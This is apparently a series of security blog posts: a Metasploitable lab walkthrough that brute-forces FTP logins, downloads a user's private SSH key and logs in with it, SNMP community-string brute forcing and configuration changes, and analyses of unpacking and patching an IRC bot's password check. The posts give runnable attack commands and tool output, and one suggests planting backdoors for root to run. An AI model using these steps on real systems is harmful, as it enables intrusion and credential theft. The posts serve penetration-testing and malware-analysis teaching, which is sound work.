Remember, when we were exploring FTP service, we had noticed in .bash_history file, that user ssh key is an authorized key at the ssh server. So if public key authentication has been configured correctly, then 'msfadmin' should be able to ssh into the target directly using the private key. We will not need the password at all.

root@victor:tmp# cat bash_history-user
ssh-keygen -t dsa
sudo cat ~/.ssh/id_dsa.pub >> /home/msfadmin/.ssh/authorized_keys
sudo -s
exit

The following command is used to successfully login with the private key:

ssh -i id_dsa msfadmin@172.72.5.143

Also, Metasploit has a module which automates and confirms this for us.

msf auxiliary(ssh_login_pubkey) > run
[*] 172.72.5.143:22 SSH - Testing Cleartext Keys
[*] 172.72.5.143:22 SSH - Trying 1 cleartext key per user.
[*] Command shell session 2 opened (172.72.5.1:44867 -> 172.72.5.143:22) at 2011-08-27 06:34:12 +0530
[+] 172.72.5.143:22 SSH - Success: 'msfadmin':'70:ff:0f:ff:a3:8e:39:18:d7:30:c1:30:02:bc:20:3c' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login_pubkey) >

Ideally, we will first attempt to remotely exploit the network service, SSH in this case. This is normally the approach, if SSH service version found on target has vulnerabilities and knowledge, skill to exploit is available. It will usually provide us with privileged access. Anyhow, in our scenario, it seems all we have are these 4 non-root user accounts. Never the less, we can move around in the file system, perform further enum, data collection etc. For attempting to raise local user privilege, get the target kernel version with a 'uname -a' and identify a local priv escalation exploit for the kernel - either in metasploit or from exploit-db. Also check out packetstorm / secunia, & Google.

In a pentest, though, it is recommended to use exploits that have been tested for 'legit-ness' - if I can phrase it that way - and performance. If taken from some random site over the internet and / or without carefully monitoring the behavior of the exploit in the lab, you may not be able to catch that quick call going out to some server in a rogue country or elsewhere, i.e. to say the exploit itself is backdoored. And you may not come to know of it unless you read the code, test it in lab, monitor it for connection attempts, file system changes & the likes. And running it in customer network may seriously compromise the org security. Another aspect is verifying the performance of an exploit. Many exploits hook into and utilize critical OS processes / files to leverage elevated access. It is a high possibility that a new, untested exploit code crashes the target server as soon as you run it. The damage can be controlled with as soon as a single reboot or can get as complicated as device failure & fresh install. Trust me, this happens at times & your customer will not be pleased, to say the least.

Next up --> Exploring SMTP service

Metasploitable - Exploring FTP service

2011-08-27T04:51:00.001+05:30

root@victor:msf3# ./msfconsole
, ,
/ \
((_---,,,---_))
(_)O O(_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||

=[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 727 exploits - 372 auxiliary - 78 post
+ -- --=[ 227 payloads - 27 encoders - 8 nops
=[ svn r13625 updated today (2011.08.24)

msf >

We start with identifying any live hosts by doing a nmap ping scan.

msf > nmap -sP 172.72.5.2-254
[*] exec: nmap -sP 172.72.5.2-254

Starting Nmap 5.21 ( http://nmap.org ) at 2011-08-25 03:04 IST
Nmap scan report for 172.72.5.143
Host is up (0.00042s latency).
MAC Address: 00:0C:29:8D:8D:A4 (VMware)
Nmap scan report for 172.72.5.254
Host is up (0.00019s latency).
MAC Address: 00:50:56:FD:82:EC (VMware)
Nmap done: 253 IP addresses (2 hosts up) scanned in 5.06 seconds
msf >

We find our target metasploitable system with IP 172.72.5.143. Let's gather information on services running in the target.

sV -> probe open ports to identify service / version info

sT -> TCP Connect scan. Perform a 3-way TCP handshake. can take time but very reliable

msf > nmap -sV -sT 172.72.5.143
[*] exec: nmap -sV -sT 172.72.5.143

Starting Nmap 5.21 ( http://nmap.org ) at 2011-08-25 03:07 IST
Nmap scan report for 172.72.5.143
Host is up (0.00043s latency).
Not shown: 988 closed ports

PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux

Service detection performed. Please report any incorrect results at http://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 11.72 seconds

We will explore these services one by one and see what we can find with each.

1. 21/tcp open ftp ProFTPD 1.3.1

Metasploit auxiliary module -> auxiliary/scanner/ftp/ftp_login

set PASS_FILE /opt/metasploit_open/msf3/data/wordlists/unix_passwords.txt

set USER_FILE /opt/metasploit_open/msf3/data/wordlists/unix_users.txt

setg RHOSTS 172.72.5.143

run

[+] 172.72.5.143:21 - Successful FTP login for 'postgres':'postgres'
[*] 172.72.5.143:21 - User 'postgres' has READ/WRITE access
[+] 172.72.5.143:21 - Successful FTP login for 'service':'service'
[*] 172.72.5.143:21 - User 'service' has READ/WRITE access
[+] 172.72.5.143:21 - Successful FTP login for 'user':'user'
[*] 172.72.5.143:21 - User 'user' has READ/WRITE access

We have 3 ftp login credentials now. Let's use these IDs to login to the target.

root@victor:tmp# ftp 172.72.5.143
Connected to 172.72.5.143.
220 ProFTPD 1.3.1 Server (Debian) [::ffff:172.72.5.143]
Name (172.72.5.143:victor): user
331 Password required for user
Password:
230 User user logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lat
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 3 user user 4096 Aug 24 21:59 .
-rw------- 1 user user 165 May 7 2010 .bash_history
drwx------ 2 user user 4096 May 7 2010 .ssh
drwxr-xr-x 6 root root 4096 Apr 16 2010 ..
-rw-r--r-- 1 user user 220 Mar 31 2010 .bash_logout
-rw-r--r-- 1 user user 2928 Mar 31 2010 .bashrc
-rw-r--r-- 1 user user 586 Mar 31 2010 .profile
226 Transfer complete

.bash_history keeps a history of commands a user has run. Many a times in pentests, I've found useful info on targets, as user ID, passwords, confidential file names, locations, important server names, shared resources etc in this little file.

I will download this file.

Remember Information Gathering is a continuous, on-going phase during a penetration test. You will build upon the collected information to leverage access into the target environment.

ftp> get .bash_history
local: .bash_history remote: .bash_history
200 PORT command successful
150 Opening BINARY mode data connection for .bash_history (165 bytes)
226 Transfer complete
165 bytes received in 0.00 secs (41.6 kB/s)

There is also a .ssh directory. Checking it tells us the presence of public & private ssh keys of the 'user'.

In a pentest, you may come across a scenario where SSH is permitted for device / server administration but passwords are not used. Instead, public key authentication is configured. This means, if you can obtain ssh keys of a [ privileged ] user, then you can gain straight access to the resources without the need of knowing login password. Also, in certain environments, access and security is tied to trusts. Once you can impersonate a 'trusted' / authorized user, gaining access to other juicy resources is a piece of cake.

We go into the .ssh directory and see there is the key pair. Private key is what we will need. Download it.

ftp> cd .ssh
250 CWD command successful
ftp> ls -lta
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 3 user user 4096 Aug 24 21:59 ..
drwx------ 2 user user 4096 May 7 2010 .
-rw------- 1 user user 668 May 7 2010 id_dsa
-rw-r--r-- 1 user user 609 May 7 2010 id_dsa.pub
226 Transfer complete

ftp> get id_dsa
local: id_dsa remote: id_dsa
200 PORT command successful
150 Opening BINARY mode data connection for id_dsa (668 bytes)
226 Transfer complete
668 bytes received in 0.00 secs (327.8 kB/s)
ftp> get id_dsa.pub
local: id_dsa.pub remote: id_dsa.pub
200 PORT command successful
150 Opening BINARY mode data connection for id_dsa.pub (609 bytes)
226 Transfer complete
609 bytes received in 0.00 secs (379.8 kB/s)
ftp> bye

From .bash_history file, a new user 'msfadmin' seems to be present on the target box.

root@victor:tmp# cat bash_history-user
ssh-keygen -t dsa
ls
cd .ssh
ls
sudo -s
cd /home/user
lsls .ss
ls .ssj
clear
ls .ssh
sudo cat ~/.ssh/id_dsa.pub >> /home/msfadmin/.ssh/authorized_keys
sudo -s
exit

After brute forcing, it is confirmed that just like with previous 3 users, msfadmin is a joe account, meaning that the password is same as the user id -> msfadmin. FTP login using msfadmin is successful.

ftp 172.72.5.143
Connected to 172.72.5.143.
220 ProFTPD 1.3.1 Server (Debian) [::ffff:172.72.5.143]
Name (172.72.5.143:victor): msfadmin
331 Password required for msfadmin
Password:
230 User msfadmin logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lat
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw------- 1 msfadmin msfadmin 806 May 18 2010 .bash_history
drwxr-xr-x 5 msfadmin msfadmin 4096 May 18 2010 .
drwx------ 2 msfadmin msfadmin 4096 May 18 2010 .ssh
-rw-r--r-- 1 msfadmin msfadmin 0 May 7 2010 .sudo_as_admin_successful
-rw------- 1 msfadmin msfadmin 98 Apr 28 2010 .lesshst
drwxr-xr-x 6 msfadmin msfadmin 4096 Apr 28 2010 vulnerable
drwxr-xr-x 4 msfadmin msfadmin 4096 Apr 17 2010 .distcc
drwxr-xr-x 6 root root 4096 Apr 16 2010 ..
-rw-r--r-- 1 msfadmin msfadmin 586 Mar 16 2010 .profile
226 Transfer complete

The user has Read/Write privileges using FTP service. Even though these users are non-root accounts, and have RW privs in their home directories, we have gained a foothold into the target. This is also applicable to other system / network services such as samba [ file sharing ] or ssh [ remote access ]. Using these accounts, it is now possible for us to explore the file system, configuration(s), set up, any specific software(s) / applications that are installed and may be vulnerable. Also a good idea is to upload backdoor / malware / trojan / privilege escalation exploit(s) on the server. The expectation is to wait for some user, usually root or root privileged user, to access these malicious exes and run them. Once the exe runs, depending upon its function, a variety of actions can be performed. Actions can include and are not limited to gaining shell, execute commands, sniff sensitive data off the wire and send the logs to the attacker, enumerate other systems in the network environment for further exploitation etc, and many more.

In a pentest, however, always document any changes you've made to the file system and remember to clean up exe, configuration changes etc, before you sign off for the day. Normally, the any changes by the pentester and associated risk must be discussed with customer and arrived at, in the Terms of Engagement.

Next up --> Exploring SSH service

SNMP service enumeration

2011-08-18T05:45:00.001+05:30

In a pentest, SNMP is very juicy service that can give deep insight into the target system & network.

Metasploit has a number of auxiliary modules to help in enumerating SNMP on target host(s).

msf > search snmp
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/snmp/aix_version normal AIX SNMP Scanner Auxiliary Module
auxiliary/scanner/snmp/cisco_config_tftp normal Cisco IOS SNMP Configuration Grabber (TFTP)
auxiliary/scanner/snmp/cisco_upload_file normal Cisco IOS SNMP File Upload (TFTP)
auxiliary/scanner/snmp/snmp_enum normal SNMP Enumeration Module
auxiliary/scanner/snmp/snmp_enumshares normal SNMP Windows SMB Share Enumeration
auxiliary/scanner/snmp/snmp_enumusers normal SNMP Windows Username Enumeration
auxiliary/scanner/snmp/snmp_login normal SNMP Community Scanner
auxiliary/scanner/snmp/snmp_set normal SNMP Set Module
...snip...

We can start with brute forcing SNMP service to identify SNMP community strings.

msf auxiliary(snmp_enum) > use auxiliary/scanner/snmp/snmp_login
msf auxiliary(snmp_login) > show options
Module options (auxiliary/scanner/snmp/snmp_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
BLANK_PASSWORDS true no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
CHOST 172.72.5.1 no The local client address
PASSWORD no The password to test
PASS_FILE /opt/metasploit_open/msf3/data/wordlists/snmp_default_pass.txt no File containing communities, one per line
RHOSTS 172.72.5.141 yes The target address range or CIDR identifier
RPORT 161 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USER_AS_PASS true no Try the username as the password for all users
VERBOSE true yes Whether to print output for all attempts

msf auxiliary(snmp_login) > run
[*] 172.72.5.141:161 - SNMP - Trying public...
[+] SNMP: 172.72.5.141 community string: 'public' info: 'Hardware: x86 Family 6 Model 15 Stepping 11 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)'
[*] 172.72.5.141:161 - SNMP - Trying private...
...
[+] SNMP: 172.72.5.141 community string: 'admin' info: 'Hardware: x86 Family 6 Model 15 Stepping 11 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)'
...
snip
...
...
[*] Validating scan results from 1 hosts...
[*] Host 172.72.5.141 provides READ-WRITE access with community 'admin'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We found 2 community strings - 1 default public [ public ] and 1 private [ admin ]. 'public' is a read-only string while 'admin' has read-write privileges.

With this info, we can now go ahead and enumerate user accounts present on the target.

msf > info auxiliary/scanner/snmp/snmp_enumusers
Name: SNMP Windows Username Enumeration
Module: auxiliary/scanner/snmp/snmp_enumusers
Version: 12107
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
tebo <tebo@attackresearch.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMMUNITY public yes SNMP Community String
RETRIES 1 yes SNMP Retries
RHOSTS 172.72.5.141 yes The target address range or CIDR identifier
RPORT 161 yes The target port
THREADS 1 yes The number of concurrent threads
TIMEOUT 1 yes SNMP Timeout
VERSION 1 yes SNMP Version <1/2c>

Description:
This module will use LanManager OID values to enumerate local user
accounts on a Windows system via SNMP
msf > use auxiliary/scanner/snmp/snmp_enumusers

msf auxiliary(snmp_enumusers) > run
[+] 172.72.5.141 Found Users: Administrator, Guest, HelpAssistant, IUSR_PLAYGROUND1, IWAM_PLAYGROUND1, SUPPORT_388945a0, playground
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We can also enumerate any open shares on the target using snmp_enumshares module.

msf > info auxiliary/scanner/snmp/snmp_enumshares
Name: SNMP Windows SMB Share Enumeration
Module: auxiliary/scanner/snmp/snmp_enumshares
Version: 11707
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
tebo <tebo@attackresearch.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMMUNITY public yes SNMP Community String
RETRIES 1 yes SNMP Retries
RHOSTS 172.72.5.141 yes The target address range or CIDR identifier
RPORT 161 yes The target port
THREADS 1 yes The number of concurrent threads
TIMEOUT 1 yes SNMP Timeout
VERSION 1 yes SNMP Version <1/2c>

Description:
This module will use LanManager OID values to enumerate SMB shares
on a Windows system via SNMP
msf > use auxiliary/scanner/snmp/snmp_enumshares

msf auxiliary(snmp_enumshares) > run

[+] 172.72.5.141
Python27 - (C:\Python27)
Shared_field - (C:\Shared_field)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

To gather more information using SNMP, we can use 'snmpenum'. This handy script uses the community strings we identified earlier to collect target system information. We need to give it the target host IP, community string, and the platform.

root@bt:/pentest/enumeration/snmpenum# ./snmpenum.pl 172.72.5.141 public windows.txt

----------------------------------------
INSTALLED SOFTWARE
----------------------------------------
Adobe Flash Player 10 ActiveX
FileZilla Client 3.3.5.1
FileZilla Server (remove only)
0xb5546f7272656e74
WinRAR archiver
Java(TM) 6 Update 25
Python 2.7.1
Java(TM) SE Development Kit 6 Update 25
WebFldrs XP
...snip...
----------------------------------------
UPTIME
----------------------------------------
53 minutes, 33.31
----------------------------------------
HOSTNAME
----------------------------------------
PLAYGROUND1
----------------------------------------
USERS
----------------------------------------
Guest
playground
Administrator
HelpAssistant
IUSR_PLAYGROUND1
IWAM_PLAYGROUND1
SUPPORT_388945a0
----------------------------------------
DISKS
----------------------------------------
A:\
C:\ Label: Serial Number
D:\ Label:GRTMPVOL_EN
Virtual Memory
Physical Memory
----------------------------------------
RUNNING PROCESSES
----------------------------------------
System Idle Process
System
wuauclt.exe
ctfmon.exe
...snip...
VMUpgradeHelper.exe
VMwareUser.exe
logonui.exe
snmptrap.exe
----------------------------------------
LISTENING UDP PORTS
----------------------------------------
161
162
445
500
1032
1039
1045
3456
3527
4500
----------------------------------------
SYSTEM INFO
----------------------------------------
Hardware: x86 Family 6 Model 15 Stepping 11 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)
----------------------------------------
SHARES
----------------------------------------
Python27
Shared_field
C:\Python27
C:\Shared_field
----------------------------------------
LISTENING TCP PORTS
----------------------------------------
25
80
135
443
445
1040
1042
1801
2103
2105
2107
----------------------------------------
SERVICES
----------------------------------------
Server
Themes
Event Log
IIS Admin
...snip...
Background Intelligent Transfer Service
----------------------------------------
DOMAIN
----------------------------------------
WORKGROUP

Another cool SNMP enumeration tool is 'snmpwalk'. We can use it to query the target for system information.

We need to supply the SNMP version in use, community string and the target IP. As you can see below, it gives back detailed info on OIDs and corresponding values:

snmpwalk -v 2c -c public 172.72.5.141 | more

SNMPv2-MIB::sysDescr.0 = STRING: Hardware: x86 Family 6 Model 15 Stepping 11 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.311.1.1.3.1.1
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (96709) 0:16:07.09
SNMPv2-MIB::sysContact.0 = STRING: Target@playground.mil
SNMPv2-MIB::sysName.0 = STRING: PLAYGROUND1
SNMPv2-MIB::sysLocation.0 = STRING: Playground
SNMPv2-MIB::sysServices.0 = INTEGER: 76
IF-MIB::ifNumber.0 = INTEGER: 3
IF-MIB::ifIndex.1 = INTEGER: 1
IF-MIB::ifIndex.2 = INTEGER: 2
IF-MIB::ifIndex.65540 = INTEGER: 65540
IF-MIB::ifDescr.1 = STRING: MS TCP Loopback interface
IF-MIB::ifDescr.2 = STRING: AMD PCNET Family PCI Ethernet Adapter #2 - Packet Scheduler Miniport
IF-MIB::ifDescr.65540 = STRING: AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
IF-MIB::ifType.1 = INTEGER: softwareLoopback(24)
IF-MIB::ifType.2 = INTEGER: ethernetCsmacd(6)
IF-MIB::ifType.65540 = INTEGER: ethernetCsmacd(6)
IF-MIB::ifMtu.1 = INTEGER: 1520
IF-MIB::ifMtu.2 = INTEGER: 1500
IF-MIB::ifMtu.65540 = INTEGER: 1500
IF-MIB::ifSpeed.1 = Gauge32: 10000000
IF-MIB::ifSpeed.2 = Gauge32: 1000000000
...
snip
...

After this, we can use 'snmpget' to further enumerate SNMP and collect value for a specific OID.

Let's say, we want to query the value for OID 'sysLocation.0'.

snmpget -v 2c -c public 172.72.5.141 sysLocation.0
--> SNMPv2-MIB::sysLocation.0 = STRING: Playground

Cool, we see it has returned the currently configured value.

Remember, we also have a read-write privileged SNMP string - admin. Using the RW comm string, we can read and / or modify the end-target configuration easily; an attacker will use it to read / modify a router's running-config, for example.

snmpset, as the name implies, can set OID values if we have the RW snmp string.

The below command uses the RW string - admin - to change the value of OID sysLocation.0, which is a string value [ 's' option ] - Playground - to a new value NewPlayground.

snmpset -v 2c -c admin 172.72.5.141 sysLocation.0 s NewPlayground--> SNMPv2-MIB::sysLocation.0 = STRING: NewPlayground

++++++++++

Analyzing Malware - Manually unpacking the specimen

2011-08-07T02:17:00.000+05:30

In continuation to reverse engineering malware series, this is the fifth post. I will recommend that you read my first, second, third and fourth posts to be in sync with whole exercise.

In previous posts, we performed behavioral and code analysis of the malware specimen - slackbot. We identified that the bot executable was packed with UPX packer. Since UPX has native unpacking capabilities as well, we had unpacked the specimen exe and learnt more about its code & operations during code analysis. Subsequently we were able to gain control over the bot.

What if, the malware exe was packed with a packer which has no native unpacking capabilities. In such a case, the exe will have to be extracted manually. In this post, I will cover how Packing works and take you through manually unpacking a UPX-packed exe.

Packing

Packing is simply compressing and / or encrypting the executable. The actual code in a packed executable is obfuscated as well as the overall file size is reduced. This creates two prime benefits to a malware creator / attacker / user:

Low probability to get identified by AV / malware scanners.

More difficult to analyze since the actual code is now obfuscated.

Easy distribution and faster loading into memory becomes possible due to low file size, for example, in drive-by downloads, trojans etc.

A packed executable has 2 components:

Unpacker routine

Packed original code

Original program ---> passes through ---> Packer ---> New program [ Unpacking routine + packed original program ]

The packer compresses and / or encrypts the original program and creates a new executable. The new executable carries the unpacking routine and the packed original program. The unpacking routine is responsible to unpack the original program when the new, packed exe is run. The original packed exe is unpacked into the memory of the system when unpacking stub is run. Prior to this, the original program can not be fully read in clear.

How does a [ UPX ] packed executable run?

Generally speaking, once a packed exe is run, the packed code [ both the unpacking routine and the packed original program code ] is loaded up in the memory. The program run starts at Original Entry Point [ OEP ]. In simple terms, OEP is like the main() function, in C, C++, C# etc programming languages. That is, OEP is the starting point of the program - the first instruction from where the execution will begin.

In case of a packed exe, the OEP points to the start of unpacking routine. This is because unless the unpacking routine executes, the original code can't be unpacked. When the unpacking routine has finished its run, the execution pointer jumps to the first instruction of the original program. This jump can be a simple JMP or may be tricky utilizing SEH / CALL / RET. Post jump, the actual unpacked program runs.

When UPX packs an executable, it consolidates all exe sections - .text, .data, .idata, etc - into one section called UPX1. This section UPX1 also contains the unpacking / decompression program stub. There are 2 other sections called UPX0 - has nothing - and UPX2 - has data & imports table.

This is the reason that when will try to open a packed exe in a disassembler such as IDA, it will throw an error, basically cos right now, it can't differentiate between code and data.

IDA will still load the packed exe. If we look at the program in text view, we will find IDA automatically identifies & marks UPX sections appropriately.

UPX0 is uninitalized space in the start. At runtime, the stub in UPX1 will decompress the packed code to the UPX0. After this, a Jump is made to the start of UPX0, where now the original program resides. At this point, the EIP [ Instruction pointer ] points to the first instruction of the unpacked program.

Image credits to "The Rootkit Arsenal"

PUSHAD pushes contents of all the registers on to the stack.

POPAD pops out the contents from the stack back into the registers.
JMP takes the instruction pointer to the start of unpacked code.

Import Address Table (IAT) -> Simply put, a program has dependencies on dynamic link libraries [ DLLs ] and loads the required DLLs at runtime. The memory locations of these DLLs are dynamic. Therefore, it is not feasible to hard-code memory address of functions in these DLLs, into the program. Import Address Table comes to the rescue. IAT is a table of pointers to functions in the required DLLs. So, whenever a compiled program has to access a specific function, it can do so by making a CALL to the appropriate IAT record. Packers generally damage / modify the original IAT of the packed program so the incorrectly dumped program code fails to run. This basically means, a packer modifies the IAT by defining afresh which dlls and functions need to be loaded and how & where to put the pointers in order to ensure normal run of the original program, post unpacking.

The IAT is accessed by a CALL[<address_to_pointer>] instruction.

Okay, let's roll up our sleeves and start with dumping the unpacked code directly from the memory.

Fire up OllyDbg and load the packed exe. Do not press the 'Play' button. Observe that when we loaded the packed exe into Olly, it has halted at the address 00408760 - PUSHAD instruction. This is program entry point [ look at the bottom, message bar in Olly ]. We already know that UPX1 constitutes of the unpacking routine and the packed program code. So, this address 00408760 seems to be the start address of unpacking routine.

Note this address down somewhere.

Now Check the Memory Map by clicking on the 'M' button in the menu bar. Memory Map is simply a mapping between a loaded executable / library and the memory regions. You will find section UPX0 starts at address 00401000, and UPX1 from address 00407000.

This is how it flows. Starting from PUSHAD at 00408760, the unpacking routine runs and unpacks the program code. In addition to this, the Import Address Table is fixed so the original unpacked program code may run good. CALL DWORD PTR DS:[ESI+8094] in the figure below is referring to the Import Address Table.

When the unpacking code run is finished, and IAT is fixed, POPAD instruction pushes out the contents of registers present on stack, which was initially put by PUSHAD, back into the registers. Finally a JMP is made to the freshly, unpacked code. In our case, as per screen above, JMP happens at address 004088AF ---> JMP fid.004011CB.

004011CB must be the address where the unpacked code starts.

Go to this address using Ctl+G.Once at this address, we will use a plugin for OllyDbg - OllyDump - to dump the code. Go to Plugins menu -> OllyDump -> Dump debugged process.

OllyDump identifies the start address, entry point and show UPX section info automatically. Now we need to modify the entry point. Remember, you noted the Program Entry Point 00408760 earlier. The actual unpacked code starts at 004011CB. So, we will modify the entry point to 004011CB. Dump the code now, and we save it as fid_unpacked.exe.

Let's confirm if the exe we've just dumped is indeed unpacked.

Open PEiD and load the new dumped exe into it. As you will see, the EntryPoint is 11CB now, which look correct, and packer info tells us it is Microsoft Visual C++ 8.

Cool! We were able to manually unpack the specimen. Now that we have the unpacked specimen, we can perform code analysis using techniques shared in Code Analysis post.

##################################################

If you have any questions or feedback, do post a comment below.

Thanks.

Analyzing Malware - Patching in the way!

2011-08-01T02:04:00.002+05:30

This is in continuation to my previous posts on reverse engineering malware. Therefore, I would strongly recommend that you go through the posts one, two, and three, before moving forth with this one.

If you recall, in the last post, we used disassembling and debugging techniques on the specimen to our utility and successfully identified the correct IRC login password.

But is there a way to simply modify or bypass this whole password protection mechanism in the bot? If authentication process can be controlled, that'd be awesome. So, here it is; this post will show you just that.

Objective: To modify the malware executable so we can control the authentication process.

How: Via Patching the executable.

Patching in RE universe refer to making such modifications to a compiled specimen executable, which will change the flow of program execution.

In our slackbot.exe specimen, we will get around with the password authentication by patching JNZ instruction.

Let's commence.

We will load up unpacked malware exe in IDA and work on !@login command block, since !@login is a privileged command, i.e. requires authentication. You can locate !@login in the code by pressing Alt-T and searching for it.

Here's what the program flow looks like for the !@login block:

As you see, the top block [ Block 1 ] checks if the user entered command is '!@login' or not. If it is, then the program flow moves to the left, middle block [ Block 2 ]. If it is not, then move to down, right block [ Block 3 ]. We are interested in Block 2. You see the last instruction in this code block is ---> jnz short loc_40210D

If you've read this post, you will understand that this Block 2 is the place where password authentication takes place. If the password entered by the user in the IRC channel does not match with the actual bot password, then the program execution flow jumps to memory location 40210D.

Here's the text view of the same routine:

Instruction JNZ is at memory location 4020C3. If the strings do not match, the program takes JNZ route. If the strings do match, then 'pass accepted' is pushed on to the stack, and program execution continues. The user can then execute any privileged commands.

Our first attempt will be to somehow bypass this JNZ jump at 4020C3. The most easy way to do this will be to remove this instruction and replace it with NOPs [ \x90 in hex or 90 in dec ]. NOPs are No Ops, that says, do nothing and move on, to the cpu. Remember to keep the check box 'Fill with NOPs' ticked. It's the default and it replaces the original instructions with \x90.

No JNZ --> no jump --> 'pass accepted' --> privileged access.

Open up the unpacked executable in OllyDbg, press the 'Play' button.

Next, we will find the address 4020C3 in the memory. Press Ctrl+G, type 4020C3 and Ok. This will locate for us the JNZ instruction.

Now press spacebar. A box will pop up and here we will enter "NOP".

After this, simply 'Assemble' the modified executable.

Now you will see new instructions '90' have been added on addresses 4020C3 and 4020C4. And that's it. We have a modified bot exe, which doesn't care what password we enter.

Let's test this out in the IRC channel.

Start the IRC server on the analyst's system, connect first to the channel #jigyaasa so as to get the OP role.

Voila! Even though I entered a wrong password, bot allowed me in and I can execute privileged commands such as '!@execute'.

You can go ahead and save the modifications made into the executable.

To conclude, we learnt how an analyst can leverage OllyDbg to patch the malware specimen, thereby, bypassing the inbuilt authentication mechanism and gaining privileged access.

I hope these articles are useful to you. Share your comments and feedback if you liked these or if you have any questions.

Analyzing malware [ slackbot ] - II

2011-07-10T04:28:00.005+05:30

This is in continuation with the part 1 of Analyzing Malware [ slackbot ].

Code Analysis

In this phase of reverse engineering malware, we will look inside the code of the specimen.

We will use IDA pro, a disassembler, to open the malware exe and attempt to understand the logic behind the flow of the execution. A disassembler translates machine language into assembly language.

You can get IDA Pro here: http://www.hex-rays.com/idapro/

Fire up IDA and open up the unpacked malware exe from C:\WINDOWS\.

Once you open up the specimen, you can see the instructions in graph view or in the text form. Press Alt-T to find an occurrence of !@id in the program.

In the screen cap below, I have highlighted the code block for !@id.

The instruction at 00401B9E pushes the value !@id on to the stack. The next instruction at 00401BA3 is then putting some string value to the stack. At this point, this seems to be the command entered by the bot herder / creator or the analyst at the IRC channel #jigyaasa. The next instruction is a call to strcmp, for string comparison. It appears to be comparing the 2 values that were pushed on to stack earlier. So, simply it is trying to confirm if the string value at 00401BA3 [ i.e. the command given to the bot ] is !@id or not. If both the values match, then EAX register value is set to 0.

Later you see, the instruction at memory location 00401BAE is performing an OR between EAX and EAX. It is checking to see if the value in EAX register is 0. The logic behind OR instruction is as follows:

If A = 1 and B = 1, then A OR B = 1
If A = 1 and B = 0, then A OR B = 1
If A = 0 and B = 1, then A OR B = 1
If A = 0 and B = 0, then A OR B = 0

That is, if both the variables has a value 0, only then the output of OR operation will be 0.

Following this, you see there is a JNZ instruction. JNZ is 'Jump if Not Zero'. This means, if the EAX is NOT 0, then the execution flow will jump to the memory location 401C53. Else, the execution will continue.

In the next few instructions that follow, the time function is called. Therefore, when we entered the !@id command earlier in the Behavior Analysis phase, the bot returned the current system time as the response.

Note also, there is no other string comparison happening in this block for !@id command. It would be hence safe to consider that this command does not take any parameters.

Let's move on to a more useful command, !@login. Recall that when we entered this command in the channel earlier in the Behavior Analysis phase, we did not receive any response from the bot. It is quite possible that this command requires a parameter.

Below is the graph view of the code block for !@login.

We see in the top block, the same logic is taking place as that happened for !@id. The string !@login and another string is pushed on to the stack, strcmp is checking if both of these are equal or not and based on the output, decides the flow of execution. Hence, there are two logical response paths originating from this block.

First let's look at the left upper block. We see there are two strings - str1 and str2 - pushed on to the stack. Then there is a call to strcmp function and consequently, based on the result, either the execution continues to another code block [ follow the red line down ] without any jump Or the execution reaches the memory location 40210D, which is the second response path from the top block, on the right.

Here is the text view of the top block.

You see, at location 004020C5, there is a comment 'pass accepted'. If you follow upwards from here, you will find this response will occur when the EAX register is 0, that is the str1 and str2 values are equal.

To give a quick conclusion of !@login block observations, there are 2 comparisons happening in here:

1. First strcmp at location 00402093, confirms if the command entered is !@login or not. If it is not, then the execution jumps to location 40210D.

